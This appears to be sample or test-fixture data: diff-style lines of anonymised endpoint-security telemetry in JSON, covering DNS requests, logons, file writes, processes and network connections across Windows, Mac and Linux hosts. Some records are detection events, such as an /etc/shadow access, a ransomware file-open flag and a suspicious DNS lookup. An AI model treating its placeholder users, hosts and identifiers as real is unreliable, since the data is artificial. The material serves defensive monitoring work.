+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"} +{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"} +{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"} +{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"} +{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"} +{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"} +{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"} +{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"} +{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"} +{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"} +{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"} +{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"} +{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"} +{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"} +{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"} +{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"} 